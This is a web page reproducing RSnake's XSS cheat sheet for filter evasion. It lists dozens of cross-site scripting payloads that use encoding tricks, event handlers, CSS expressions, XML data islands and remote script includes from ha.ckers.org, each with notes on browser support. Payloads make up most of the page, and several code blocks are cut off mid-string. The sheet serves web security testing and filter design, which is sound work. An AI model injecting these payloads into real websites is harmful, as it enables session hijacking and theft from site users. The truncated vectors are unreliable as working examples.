XSS (Cross Site Scripting) Cheat Sheet
Esp: for filter evasion

By RSnake

Note from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack. It will simply show the underlying methodology and you can infer the rest. Also, please note my XSS page has been replicated by the OWASP 2.0 Guide in the Appendix section with my permission. However, because this is a living document I suggest you continue to use this site to stay up to date.

Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from Evolt. Please see the XML format of the XSS Cheat Sheet if you intend to use CAL9000 or other automated tools. If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the forum:

XML

XSS (Cross Site Scripting):

XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use the URL encoding calculator below to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

```
';alert(String.fromCharCode(88,83,83))//\';ale
rt(String.fromCharCode(88,83,83))//";alert(St
ring.fromCharCode(88,83,83))//\";alert(String
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

XSS locator 2. If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses <XSS to see if it is vulnerable:

```
";!--"<XSS>=&{()}
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

```
<SCRIPT SRC=http://ha.ckers.org/xss.js>
</SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):

```
<IMG SRC="javascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

No quotes and no semicolon:

```
<IMG SRC=javascript:alert('XSS')>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Case insensitive XSS attack vector:

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

HTML entities (the semicolons are required for this to work):

```
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents):

```
<IMG SRC=`javascript:alert("RSnake says,
'XSS"')` >
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

```
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

fromCharCode (if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need). Click here to build your own (thanks to Hannes Leopold):

```
<IMG
SRC=javascript:alert(String.fromCharCode(88,83
,83))>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information:

```
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#9
9;&#114;&#105;&#112;&#116;&#58;&#97;
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

```
<IMG
SRC=&#0000106&#0000097&#0000118&#0
000097&#0000115&#0000099&#0000114&#
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

```
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x6
3&#x72&#x69&#x70&#x74&#x3A&#x61&#
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Embedded tab to break up the cross site scripting attack:

```
<IMG SRC="jav ascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Embedded encoded tab to break up XSS:

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

```
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:

```
<IMG
SRC
=
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

```
perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date:

```
perl -e 'print "<SCR\0IPT>alert(\"XSS\")
</SCR\0IPT>";' > out
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal):

```
<IMG SRC=" &#14;  javascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

```
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js">
</SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

```
<BODY onload!#$%&()*~+-_.,:;?
@[/|\]^`=alert("XSS")>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [**NS8.1-G**|**FF2.0**] [O9.02]

Non-alpha-non-digit part 3 XSS. Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

```
<SCRIPT/SRC="http://ha.ckers.org/xss.js">
</SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [O9.02]

Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

```
<<SCRIPT>alert("XSS");//<</SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

```
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [**NS8.1-G**|**FF2.0**] [O9.02]

Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

```
<SCRIPT SRC=//ha.ckers.org/.j>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [**NS8.1-G**|**FF2.0**] [O9.02]

Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

```
<IMG SRC="javascript:alert('XSS')"
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

```
<iframe src=http://ha.ckers.org/scriptlet.html <
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [**NS8.1-G**|**FF2.0**] [O9.02]

XSS with no single quotes or double quotes or semicolons:

```
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

```
\";alert('XSS');//
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

```
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

INPUT image:

```
<INPUT TYPE="IMAGE"
SRC="javascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

BODY image:

```
<BODY BACKGROUND="javascript:alert('XSS')">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

```
<BODY ONLOAD=alert('XSS')>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Event Handlers that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:

```
1. FSCommand() (attacker can use this
when executed from within an embedded
Flash object)
```

IMG Dynsrc:

```
<IMG DYNSRC="javascript:alert('XSS')">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

IMG lowsrc:

```
<IMG LOWSRC="javascript:alert('XSS')">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

BGSOUND:

```
<BGSOUND SRC="javascript:alert('XSS');">
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [**O9.02**]

& JavaScript includes (works in Netscape 4.x):

```
<BR SIZE="&{alert('XSS')}">
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [**NS4**]

LAYER (also only works in Netscape 4.x)

```
<LAYER
SRC="http://ha.ckers.org/scriptlet.html">
</LAYER>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [**NS4**]

STYLE sheet:

```
<LINK REL="stylesheet"
HREF="javascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

```
<LINK REL="stylesheet"
HREF="http://ha.ckers.org/xss.css">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

```
<STYLE>@import'http://ha.ckers.org/xss.css';
</STYLE>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Remote style sheet part 3. This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

```
<META HTTP-EQUIV="Link" Content="
<http://ha.ckers.org/xss.css>;
REL=stylesheet">
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:

```
<STYLE>BODY{-moz-
binding:url("http://ha.ckers.org/xssmoz.xml#xss")
}</STYLE>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [**NS8.1-G**|**FF2.0**] [O9.02]

Local htc file. This is a little different than the above two cross site scripting vectors

because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

```
<XSS STYLE="behavior: url(xss.htc);">
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

List-style-image. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

```
<STYLE>li {list-style-image:
url("javascript:alert('XSS')");}</STYLE><UL>
<LI>XSS
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

VBscript in an image:

```
<IMG SRC='vbscript:msgbox("XSS")'>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Mocha (older versions of Netscape only):

```
<IMG SRC="mocha:[code]">
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [**NS4**]

Livescript (older versions of Netscape only):

```
<IMG SRC="livescript:[code]">
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [**NS4**]

US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. I highly suggest anyone interested in alternate encoding issues look at my charsets issues page:

```
¼script¾alert(¢XSS¢)¼/script¾
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02] [NS4]

META (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):

```
<META HTTP-EQUIV="refresh"
CONTENT="0;url=javascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

META using data: directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

```
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcml
wdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [**NS8.1-G**|**FF2.0**] [**O9.02**]

META with additional URL parameter. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

```
<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:alert('XSS');">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

IFRAME (if iframes are allowed there are a lot of other XSS problems as well):

```
<IFRAME SRC="javascript:alert('XSS');">
</IFRAME>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

FRAME (frames have the same sorts of XSS problems as iframes):

```
<FRAMESET><FRAME
SRC="javascript:alert('XSS');"></FRAMESET>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

TABLE (who would have thought tables were XSS targets... except me, of course):

```
<TABLE BACKGROUND="javascript:alert('XSS')">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):

```
<TABLE><TD
BACKGROUND="javascript:alert('XSS')">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [**O9.02**]

DIV background-image:

```
<DIV STYLE="background-image:
url(javascript:alert('XSS'))">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

```
<DIV STYLE="background-
image:\0075\0072\006C\0028'\006a\0061\007
6\0061\0073\0063\0072\0069\0070\0074\003
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

```
<DIV STYLE="background-image:
url(&#1;javascript:alert('XSS'))">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

```
<DIV STYLE="width: expression(alert('XSS'));">
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):

```
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';
</STYLE>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one):

```
<IMG
STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):

```
<XSS STYLE="xss:expression(alert('XSS'))">
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):

```
exp/*<A STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("X
SS"))'>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

STYLE tag (Older versions of Netscape only):

```
<STYLE TYPE="text/javascript">alert('XSS');
</STYLE>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [**NS4**]

STYLE tag using background-image:

```
<STYLE>.XSS{background-
image:url("javascript:alert('XSS')");}</STYLE><A
CLASS=XSS></A>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

STYLE tag using background:

```
<STYLE
type="text/css">BODY{background:url("javascrip
t:alert('XSS')")}</STYLE>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

```
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

```
<BASE HREF="javascript:alert('XSS');//">
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

```
<OBJECT TYPE="text/x-scriptlet"
DATA="http://ha.ckers.org/scriptlet.html">
</OBJECT>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [**O9.02**]

Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added):

```
<OBJECT classid=clsid:ae24fdae-03c6-11d1-
8b76-0080c744f389><param name=url
value=javascript:alert('XSS')></OBJECT>
```

Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco

for the info).:

```
<EMBED SRC="http://ha.ckers.org/xss.swf"
AllowScriptAccess="always"></EMBED>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

You can EMBED SVG which can contain your XSS vector. This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.

```
<EMBED
SRC="
bWxuczpzdmc9Imh0dH
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [**NS8.1-G**|**FF2.0**] [O9.02]

Using ActionScript inside flash can obfuscate your XSS vector:

```
a="get";
b="URL(\"";
c="javascript:";
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

XML namespace. The htc file must be located on the same server as your XSS vector:

```
<HTML xmlns:xss>
  <?import namespace="xss"
implementation="http://ha.ckers.org/xss.htc"
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

```
<XML ID=I><X><C><![CDATA[<IMG
SRC="javas]]><!
[CDATA[cript:alert('XSS');">]]>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):

```
<XML ID="xss"><I><B>&lt;IMG
SRC="javas<!-- -->cript:alert('XSS')"&gt;</B>
</I></XML>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

```
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C
DATAFORMATAS=HTML></SPAN>
```

Browser support: [IE7.0|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

```
<HTML><BODY>
<?xml:namespace prefix="t"
ns="urn:schemas-microsoft-com:time">
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:

```
<SCRIPT SRC="http://ha.ckers.org/xss.jpg">
</SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

```
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec
```

```
cmd="/bin/echo 'IPT
SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

```
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

